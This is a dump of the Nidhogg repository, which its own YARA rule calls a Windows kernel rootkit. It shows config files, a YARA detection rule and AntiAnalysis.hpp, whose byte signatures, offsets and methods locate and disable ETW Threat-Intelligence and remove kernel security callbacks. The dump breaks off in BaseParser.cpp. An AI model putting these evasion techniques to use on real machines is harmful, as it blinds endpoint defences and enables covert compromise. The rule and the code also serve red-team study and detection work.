├── .gitattributes ├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── .gitignore ├── .idea ├── Nidhogg.iml ├── modules.xml └── vcs.xml ├── LICENSE ├── Nidhogg.sln ├── Nidhogg.yar ├── Nidhogg ├── AntiAnalysis.cpp ├── AntiAnalysis.hpp ├── AutoLock.h ├── BaseParser.cpp ├── BaseParser.h ├── CallbacksParser.cpp ├── CallbacksParser.h ├── DllInjectionParser.cpp ├── DllInjectionParser.h ├── DriverParser.cpp ├── DriverParser.h ├── EtwTiParser.cpp ├── EtwTiParser.h ├── FastMutex.cpp ├── FastMutex.h ├── FileParser.cpp ├── FileParser.h ├── FileUtils.cpp ├── FileUtils.hpp ├── InitialOperation.hpp ├── MemoryAllocator.hpp ├── MemoryHelper.hpp ├── MemoryUtils.cpp ├── MemoryUtils.hpp ├── ModuleParser.cpp ├── ModuleParser.h ├── NetworkParser.cpp ├── NetworkParser.h ├── NetworkUtils.cpp ├── NetworkUtils.hpp ├── Nidhogg.cpp ├── Nidhogg.h ├── Nidhogg.vcxproj ├── Nidhogg.vcxproj.filters ├── NidhoggCommon.h ├── NidhoggDeviceControl.hpp ├── Parsers.h ├── PatchParser.cpp ├── PatchParser.h ├── ProcessParser.cpp ├── ProcessParser.h ├── ProcessUtils.cpp ├── ProcessUtils.hpp ├── RegistryParser.cpp ├── RegistryParser.h ├── RegistryUtils.cpp ├── RegistryUtils.hpp ├── ScriptManager.cpp ├── ScriptManager.h ├── ShellcodeInjectionParser.cpp ├── ShellcodeInjectionParser.h ├── ThreadParser.cpp ├── ThreadParser.h ├── WindowsTypes.hpp ├── pch.cpp └── pch.h ├── NidhoggClient ├── Nidhogg.cpp ├── Nidhogg.h ├── NidhoggAntiAnalysis.cpp ├── NidhoggClient.cpp ├── NidhoggClient.vcxproj ├── NidhoggClient.vcxproj.filters ├── NidhoggFile.cpp ├── NidhoggIoctls.h ├── NidhoggMemory.cpp ├── NidhoggNetwork.cpp ├── NidhoggProcess.cpp ├── NidhoggRegistry.cpp ├── NidhoggStructs.h ├── pch.cpp └── pch.h ├── README.md ├── images └── logo.png └── post_compilation_operation.py /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: "[BUG]" 5 | labels: bug 6 | assignees: Idov31 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Running function... 16 | 2. Caused... 17 | 18 | **Expected behavior** 19 | A clear and concise description of what you expected to happen. 20 | 21 | **Screenshots** 22 | If applicable, add screenshots to help explain your problem. 23 | 24 | **Versions** 25 | - OS & Build 26 | - Nidhogg's Version 27 | - Branch name 28 | - Function that you attempted to run & error code 29 | 30 | **Additional context** 31 | Add any other context about the problem here. 32 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: "[FEATURE]" 5 | labels: enhancement 6 | assignees: Idov31 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of the problem it tries to solve. 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Resources** 17 | Any resources you have to help creating this feature 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | .gitignore 6 | idatocppsig.py 7 | images/logo_original.png 8 | # User-specific files 9 | *.rsuser 10 | *.suo 11 | *.user 12 | *.userosscache 13 | *.sln.docstates 14 | 15 | # User-specific files (MonoDevelop/Xamarin Studio) 16 | *.userprefs 17 | 18 | # Mono auto generated files 19 | mono_crash.* 20 | 21 | # Build results 22 | [Dd]ebug/ 23 | [Dd]ebugPublic/ 24 | [Rr]elease/ 25 | [Rr]eleases/ 26 | x64/ 27 | x86/ 28 | [Ww][Ii][Nn]32/ 29 | [Aa][Rr][Mm]/ 30 | [Aa][Rr][Mm]64/ 31 | bld/ 32 | [Bb]in/ 33 | [Oo]bj/ 34 | [Oo]ut/ 35 | [Ll]og/ 36 | [Ll]ogs/ 37 | 38 | # Visual Studio 2015/2017 cache/options directory 39 | .vs/ 40 | # Uncomment if you have tasks that create the project's static files in wwwroot 41 | #wwwroot/ 42 | 43 | # Visual Studio 2017 auto generated files 44 | Generated\ Files/ 45 | 46 | # MSTest test Results 47 | [Tt]est[Rr]esult*/ 48 | [Bb]uild[Ll]og.* 49 | 50 | # NUnit 51 | *.VisualState.xml 52 | TestResult.xml 53 | nunit-*.xml 54 | 55 | # Build Results of an ATL Project 56 | [Dd]ebugPS/ 57 | [Rr]eleasePS/ 58 | dlldata.c 59 | 60 | # Benchmark Results 61 | BenchmarkDotNet.Artifacts/ 62 | 63 | # .NET Core 64 | project.lock.json 65 | project.fragment.lock.json 66 | artifacts/ 67 | 68 | # ASP.NET Scaffolding 69 | ScaffoldingReadMe.txt 70 | 71 | # StyleCop 72 | StyleCopReport.xml 73 | 74 | # Files built by Visual Studio 75 | *_i.c 76 | *_p.c 77 | *_h.h 78 | *.ilk 79 | *.meta 80 | *.obj 81 | *.iobj 82 | *.pch 83 | *.pdb 84 | *.ipdb 85 | *.pgc 86 | *.pgd 87 | *.rsp 88 | *.sbr 89 | *.tlb 90 | *.tli 91 | *.tlh 92 | *.tmp 93 | *.tmp_proj 94 | *_wpftmp.csproj 95 | *.log 96 | *.vspscc 97 | *.vssscc 98 | .builds 99 | *.pidb 100 | *.svclog 101 | *.scc 102 | 103 | # Chutzpah Test files 104 | _Chutzpah* 105 | 106 | # Visual C++ cache files 107 | ipch/ 108 | *.aps 109 | *.ncb 110 | *.opendb 111 | *.opensdf 112 | *.sdf 113 | *.cachefile 114 | *.VC.db 115 | *.VC.VC.opendb 116 | 117 | # Visual Studio profiler 118 | *.psess 119 | *.vsp 120 | *.vspx 121 | *.sap 122 | 123 | # Visual Studio Trace Files 124 | *.e2e 125 | 126 | # TFS 2012 Local Workspace 127 | $tf/ 128 | 129 | # Guidance Automation Toolkit 130 | *.gpState 131 | 132 | # ReSharper is a .NET coding add-in 133 | _ReSharper*/ 134 | *.[Rr]e[Ss]harper 135 | *.DotSettings.user 136 | 137 | # TeamCity is a build add-in 138 | _TeamCity* 139 | 140 | # DotCover is a Code Coverage Tool 141 | *.dotCover 142 | 143 | # AxoCover is a Code Coverage Tool 144 | .axoCover/* 145 | !.axoCover/settings.json 146 | 147 | # Coverlet is a free, cross platform Code Coverage Tool 148 | coverage*.json 149 | coverage*.xml 150 | coverage*.info 151 | 152 | # Visual Studio code coverage results 153 | *.coverage 154 | *.coveragexml 155 | 156 | # NCrunch 157 | _NCrunch_* 158 | .*crunch*.local.xml 159 | nCrunchTemp_* 160 | 161 | # MightyMoose 162 | *.mm.* 163 | AutoTest.Net/ 164 | 165 | # Web workbench (sass) 166 | .sass-cache/ 167 | 168 | # Installshield output folder 169 | [Ee]xpress/ 170 | 171 | # DocProject is a documentation generator add-in 172 | DocProject/buildhelp/ 173 | DocProject/Help/*.HxT 174 | DocProject/Help/*.HxC 175 | DocProject/Help/*.hhc 176 | DocProject/Help/*.hhk 177 | DocProject/Help/*.hhp 178 | DocProject/Help/Html2 179 | DocProject/Help/html 180 | 181 | # Click-Once directory 182 | publish/ 183 | 184 | # Publish Web Output 185 | *.[Pp]ublish.xml 186 | *.azurePubxml 187 | # Note: Comment the next line if you want to checkin your web deploy settings, 188 | # but database connection strings (with potential passwords) will be unencrypted 189 | *.pubxml 190 | *.publishproj 191 | 192 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 193 | # checkin your Azure Web App publish settings, but sensitive information contained 194 | # in these scripts will be unencrypted 195 | PublishScripts/ 196 | 197 | # NuGet Packages 198 | *.nupkg 199 | # NuGet Symbol Packages 200 | *.snupkg 201 | # The packages folder can be ignored because of Package Restore 202 | **/[Pp]ackages/* 203 | # except build/, which is used as an MSBuild target. 204 | !**/[Pp]ackages/build/ 205 | # Uncomment if necessary however generally it will be regenerated when needed 206 | #!**/[Pp]ackages/repositories.config 207 | # NuGet v3's project.json files produces more ignorable files 208 | *.nuget.props 209 | *.nuget.targets 210 | 211 | # Microsoft Azure Build Output 212 | csx/ 213 | *.build.csdef 214 | 215 | # Microsoft Azure Emulator 216 | ecf/ 217 | rcf/ 218 | 219 | # Windows Store app package directories and files 220 | AppPackages/ 221 | BundleArtifacts/ 222 | Package.StoreAssociation.xml 223 | _pkginfo.txt 224 | *.appx 225 | *.appxbundle 226 | *.appxupload 227 | 228 | # Visual Studio cache files 229 | # files ending in .cache can be ignored 230 | *.[Cc]ache 231 | # but keep track of directories ending in .cache 232 | !?*.[Cc]ache/ 233 | 234 | # Others 235 | ClientBin/ 236 | ~$* 237 | *~ 238 | *.dbmdl 239 | *.dbproj.schemaview 240 | *.jfm 241 | *.pfx 242 | *.publishsettings 243 | orleans.codegen.cs 244 | 245 | # Including strong name files can present a security risk 246 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 247 | #*.snk 248 | 249 | # Since there are multiple workflows, uncomment next line to ignore bower_components 250 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 251 | #bower_components/ 252 | 253 | # RIA/Silverlight projects 254 | Generated_Code/ 255 | 256 | # Backup & report files from converting an old project file 257 | # to a newer Visual Studio version. Backup files are not needed, 258 | # because we have git ;-) 259 | _UpgradeReport_Files/ 260 | Backup*/ 261 | UpgradeLog*.XML 262 | UpgradeLog*.htm 263 | ServiceFabricBackup/ 264 | *.rptproj.bak 265 | 266 | # SQL Server files 267 | *.mdf 268 | *.ldf 269 | *.ndf 270 | 271 | # Business Intelligence projects 272 | *.rdl.data 273 | *.bim.layout 274 | *.bim_*.settings 275 | *.rptproj.rsuser 276 | *- [Bb]ackup.rdl 277 | *- [Bb]ackup ([0-9]).rdl 278 | *- [Bb]ackup ([0-9][0-9]).rdl 279 | 280 | # Microsoft Fakes 281 | FakesAssemblies/ 282 | 283 | # GhostDoc plugin setting file 284 | *.GhostDoc.xml 285 | 286 | # Node.js Tools for Visual Studio 287 | .ntvs_analysis.dat 288 | node_modules/ 289 | 290 | # Visual Studio 6 build log 291 | *.plg 292 | 293 | # Visual Studio 6 workspace options file 294 | *.opt 295 | 296 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 297 | *.vbw 298 | 299 | # Visual Studio LightSwitch build output 300 | **/*.HTMLClient/GeneratedArtifacts 301 | **/*.DesktopClient/GeneratedArtifacts 302 | **/*.DesktopClient/ModelManifest.xml 303 | **/*.Server/GeneratedArtifacts 304 | **/*.Server/ModelManifest.xml 305 | _Pvt_Extensions 306 | 307 | # Paket dependency manager 308 | .paket/paket.exe 309 | paket-files/ 310 | 311 | # FAKE - F# Make 312 | .fake/ 313 | 314 | # CodeRush personal settings 315 | .cr/personal 316 | 317 | # Python Tools for Visual Studio (PTVS) 318 | __pycache__/ 319 | *.pyc 320 | 321 | # Cake - Uncomment if you are using it 322 | # tools/** 323 | # !tools/packages.config 324 | 325 | # Tabs Studio 326 | *.tss 327 | 328 | # Telerik's JustMock configuration file 329 | *.jmconfig 330 | 331 | # BizTalk build output 332 | *.btp.cs 333 | *.btm.cs 334 | *.odx.cs 335 | *.xsd.cs 336 | 337 | # OpenCover UI analysis results 338 | OpenCover/ 339 | 340 | # Azure Stream Analytics local run output 341 | ASALocalRun/ 342 | 343 | # MSBuild Binary and Structured Log 344 | *.binlog 345 | 346 | # NVidia Nsight GPU debugger configuration file 347 | *.nvuser 348 | 349 | # MFractors (Xamarin productivity tool) working folder 350 | .mfractor/ 351 | 352 | # Local History for Visual Studio 353 | .localhistory/ 354 | 355 | # BeatPulse healthcheck temp database 356 | healthchecksdb 357 | 358 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 359 | MigrationBackup/ 360 | 361 | # Ionide (cross platform F# VS Code tools) working folder 362 | .ionide/ 363 | 364 | # Fody - auto-generated XML schema 365 | FodyWeavers.xsd 366 | 367 | # VSCode stuff 368 | .vscode/ 369 | /Nidhogg/InjectionShellcode.hpp 370 | -------------------------------------------------------------------------------- /.idea/Nidhogg.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Nidhogg.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34024.191 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Nidhogg", "Nidhogg\Nidhogg.vcxproj", "{13C57810-FF18-4258-ABC9-935040A54F0B}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NidhoggClient", "NidhoggClient\NidhoggClient.vcxproj", "{67F619F9-91AB-437B-92C7-3DE51D4110E0}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|ARM = Debug|ARM 13 | Debug|ARM64 = Debug|ARM64 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|ARM = Release|ARM 17 | Release|ARM64 = Release|ARM64 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.ActiveCfg = Debug|ARM 23 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.Build.0 = Debug|ARM 24 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.Deploy.0 = Debug|ARM 25 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.ActiveCfg = Debug|ARM64 26 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.Build.0 = Debug|ARM64 27 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.Deploy.0 = Debug|ARM64 28 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.ActiveCfg = Debug|x64 29 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.Build.0 = Debug|x64 30 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.Deploy.0 = Debug|x64 31 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.ActiveCfg = Debug|Win32 32 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.Build.0 = Debug|Win32 33 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.Deploy.0 = Debug|Win32 34 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.ActiveCfg = Release|ARM 35 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.Build.0 = Release|ARM 36 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.Deploy.0 = Release|ARM 37 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.ActiveCfg = Release|ARM64 38 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.Build.0 = Release|ARM64 39 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.Deploy.0 = Release|ARM64 40 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.ActiveCfg = Release|x64 41 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.Build.0 = Release|x64 42 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.Deploy.0 = Release|x64 43 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.ActiveCfg = Release|Win32 44 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.Build.0 = Release|Win32 45 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.Deploy.0 = Release|Win32 46 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM.ActiveCfg = Debug|x64 47 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM.Build.0 = Debug|x64 48 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM64.ActiveCfg = Debug|x64 49 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM64.Build.0 = Debug|x64 50 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x64.ActiveCfg = Debug|x64 51 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x64.Build.0 = Debug|x64 52 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x86.ActiveCfg = Debug|Win32 53 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x86.Build.0 = Debug|Win32 54 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM.ActiveCfg = Release|x64 55 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM.Build.0 = Release|x64 56 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM64.ActiveCfg = Release|x64 57 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM64.Build.0 = Release|x64 58 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x64.ActiveCfg = Release|x64 59 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x64.Build.0 = Release|x64 60 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x86.ActiveCfg = Release|Win32 61 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x86.Build.0 = Release|Win32 62 | EndGlobalSection 63 | GlobalSection(SolutionProperties) = preSolution 64 | HideSolutionNode = FALSE 65 | EndGlobalSection 66 | GlobalSection(ExtensibilityGlobals) = postSolution 67 | SolutionGuid = {5BF4CF66-610E-4395-B16D-4F0E9EAF2593} 68 | EndGlobalSection 69 | EndGlobal 70 | -------------------------------------------------------------------------------- /Nidhogg.yar: -------------------------------------------------------------------------------- 1 | /* 2 | YARA Rule Set 3 | Author: Ido Veltzman 4 | Date: 2025-03-18 5 | Reference: https://github.com/Idov31/Nidhogg 6 | */ 7 | 8 | rule Nidhogg { 9 | meta: 10 | description = "Nidhogg rootkit" 11 | author = "Ido Veltzman" 12 | reference = "https://github.com/Idov31/Nidhogg" 13 | date = "2025-03-18" 14 | 15 | strings: 16 | $s1 = "31122.6172" fullword wide 17 | $s2 = "\\Device\\Nidhogg" fullword wide 18 | $s3 = "\\??\\Nidhogg" fullword wide 19 | $s4 = "31105.6171" fullword wide 20 | $s5 = "\\Driver\\Nsiproxy" fullword wide 21 | $s6 = "Nidhogg.pdb" fullword wide 22 | 23 | $op1 = { 4C 8D 05 DC 95 00 00 48 8B D0 49 8B CE E8 E1 F4 FF FF } 24 | $op2 = { 48 8B 55 CF 4C 8D 05 49 AE 00 00 48 8B CE E8 89 0E 00 00 } 25 | $op3 = { 48 8D 44 24 78 4C 8B C6 49 8B CE 48 89 44 24 20 E8 EE FE FF FF } 26 | condition: 27 | uint16(0) == 0x5a4d and filesize < 200KB and 28 | ( 5 of ($s*) and 2 of ($op*) ) 29 | } 30 | -------------------------------------------------------------------------------- /Nidhogg/AntiAnalysis.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | 4 | extern "C" { 5 | #include "WindowsTypes.hpp" 6 | #include "NidhoggCommon.h" 7 | } 8 | #include "MemoryUtils.hpp" 9 | 10 | constexpr UCHAR EtwThreatIntProvRegHandleSignature1[] = {0x60, 0x4C, 0x8B, 0xCC}; 11 | constexpr UCHAR EtwThreatIntProvRegHandleSignature2[] = {0xD2, 0x48, 0x8B, 0xCC}; 12 | constexpr UCHAR EtwThreatIntProvRegHandleSignature3[] = { 0x70, 0x48, 0x8B, 0xCC }; 13 | constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC }; 14 | constexpr UCHAR PspCreateThreadNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; 15 | constexpr UCHAR PspLoadImageNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; 16 | constexpr UCHAR CallbackListHeadSignature[] = { 0x4C, 0x8D, 0xCC }; 17 | constexpr UCHAR CmpCallbackListLockSignature[] = { 0x48, 0x8D, 0xCC }; 18 | constexpr UCHAR CmpInsertCallbackInListByAltitudeSignature[] = { 0x8B, 0xCB, 0xE8, 0xCC }; 19 | constexpr UCHAR CallFunctionSignature[] = { 0xE8, 0xCC }; 20 | constexpr UCHAR RoutinesListCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; 21 | constexpr SIZE_T EtwThreatIntProvRegHandleDistance = 0x29D; 22 | constexpr SIZE_T EtwGuidEntryOffset = 0x20; 23 | constexpr SIZE_T CallbackListHeadSignatureDistance = 0xC4; 24 | constexpr SIZE_T CmpCallbackListLockSignatureDistance = 0x4A; 25 | constexpr SIZE_T CmpInsertCallbackInListByAltitudeSignatureDistance = 0x108; 26 | constexpr SIZE_T CmpRegisterCallbackInternalSignatureDistance = 0x22; 27 | constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20; 28 | constexpr SIZE_T PspSetCreateThreadNotifyRoutineSignatureDistance = 0xF; 29 | constexpr SIZE_T PsSetLoadImageNotifyRoutineExDistance = 0xF; 30 | constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; 31 | constexpr SIZE_T PspCreateThreadNotifyRoutineDistance = 0x9B; 32 | constexpr SIZE_T PspLoadImageNotifyRoutineDistance = 0x10B; 33 | constexpr SIZE_T EtwThreatIntProvRegHandleOffset = 8; 34 | constexpr SIZE_T CallFunctionOffset = 5; 35 | constexpr SIZE_T CmpInsertCallbackInListByAltitudeOffset = 7; 36 | constexpr SIZE_T CmpCallbackListLockOffset = 7; 37 | constexpr SIZE_T CallbacksListCountOffset = 7; 38 | constexpr SIZE_T RoutinesListOffset = 7; 39 | constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB; 40 | constexpr SIZE_T MAX_DRIVER_PATH = 256; 41 | constexpr SIZE_T MAX_KERNEL_CALLBACKS = 256; 42 | constexpr ULONG MAX_ROUTINES = 64; 43 | 44 | enum CallbackType { 45 | ObProcessType, 46 | ObThreadType, 47 | PsCreateProcessTypeEx, 48 | PsCreateProcessType, 49 | PsCreateThreadType, 50 | PsCreateThreadTypeNonSystemThread, 51 | PsImageLoadType, 52 | CmRegistryType 53 | }; 54 | 55 | struct KernelCallback { 56 | CallbackType Type; 57 | ULONG64 CallbackAddress; 58 | bool Remove; 59 | }; 60 | 61 | struct DisabledKernelCallback { 62 | CallbackType Type; 63 | ULONG64 CallbackAddress; 64 | ULONG64 Entry; 65 | }; 66 | 67 | struct ObCallback { 68 | PVOID PreOperation; 69 | PVOID PostOperation; 70 | CHAR DriverName[MAX_DRIVER_PATH]; 71 | }; 72 | 73 | struct PsRoutine { 74 | ULONG64 CallbackAddress; 75 | CHAR DriverName[MAX_DRIVER_PATH]; 76 | }; 77 | 78 | struct CmCallback { 79 | ULONG64 CallbackAddress; 80 | ULONG64 Context; 81 | CHAR DriverName[MAX_DRIVER_PATH]; 82 | }; 83 | 84 | struct ObCallbacksList { 85 | CallbackType Type; 86 | ULONG NumberOfCallbacks; 87 | ObCallback* Callbacks; 88 | }; 89 | 90 | struct PsRoutinesList { 91 | CallbackType Type; 92 | ULONG NumberOfRoutines; 93 | PsRoutine* Routines; 94 | }; 95 | 96 | struct CmCallbacksList { 97 | ULONG NumberOfCallbacks; 98 | CmCallback* Callbacks; 99 | }; 100 | 101 | OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); 102 | VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info); 103 | void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo); 104 | void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create); 105 | void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create); 106 | void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo); 107 | NTSTATUS RegistryCallbackDummyFunction(PVOID CallbackContext, PVOID Argument1, PVOID Argument2); 108 | 109 | class AntiAnalysis { 110 | private: 111 | DisabledKernelCallback DisabledCallbacks[MAX_KERNEL_CALLBACKS]; 112 | ULONG DisabledCallbacksCount; 113 | ULONG DisabledCallbacksLastIndex; 114 | ULONG PrevEtwTiValue; 115 | FastMutex Lock; 116 | 117 | NTSTATUS MatchCallback(PVOID callack, CHAR driverName[MAX_DRIVER_PATH]); 118 | NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback); 119 | NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback); 120 | 121 | public: 122 | void* operator new(size_t size) { 123 | return AllocateMemory(size, false); 124 | } 125 | 126 | void operator delete(void* p) { 127 | if (p) 128 | ExFreePoolWithTag(p, DRIVER_TAG); 129 | } 130 | 131 | AntiAnalysis(); 132 | ~AntiAnalysis(); 133 | 134 | NTSTATUS EnableDisableEtwTI(bool enable); 135 | NTSTATUS RestoreCallback(KernelCallback* Callback); 136 | NTSTATUS RemoveCallback(KernelCallback* Callback); 137 | NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks); 138 | NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction); 139 | NTSTATUS ListRegistryCallbacks(CmCallbacksList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction); 140 | }; 141 | 142 | inline AntiAnalysis* NidhoggAntiAnalysis; 143 | -------------------------------------------------------------------------------- /Nidhogg/AutoLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | template 4 | struct AutoLock { 5 | AutoLock(TLock& lock) : _lock(lock) { 6 | _lock.Lock(); 7 | } 8 | 9 | ~AutoLock() { 10 | _lock.Unlock(); 11 | } 12 | 13 | private: 14 | TLock& _lock; 15 | }; -------------------------------------------------------------------------------- /Nidhogg/BaseParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "BaseParser.h" 3 | 4 | BaseParser::~BaseParser() { 5 | if (this->options) { 6 | ExFreePoolWithTag(this->options, DRIVER_TAG); 7 | this->options = nullptr; 8 | } 9 | } 10 | 11 | NTSTATUS BaseParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 12 | UNREFERENCED_PARAMETER(commandId); 13 | UNREFERENCED_PARAMETER(args); 14 | return STATUS_SUCCESS; 15 | } 16 | 17 | /* 18 | * Description: 19 | * ExecuteCommand is responsible for parsing the arguments and executing the command. 20 | * 21 | * Parameters: 22 | * @argsNumber [USHORT] -- Number of arguments to run. 23 | * @data [PUCHAR] -- The raw script data. 24 | * @dataSize [size_t] -- Size if the raw script data. 25 | * @index [size_t] -- Index to start parsing the args and command from. 26 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command. 27 | * 28 | * Returns: 29 | * @status [NTSTATUS] -- Result of the command execution or error if failed. 30 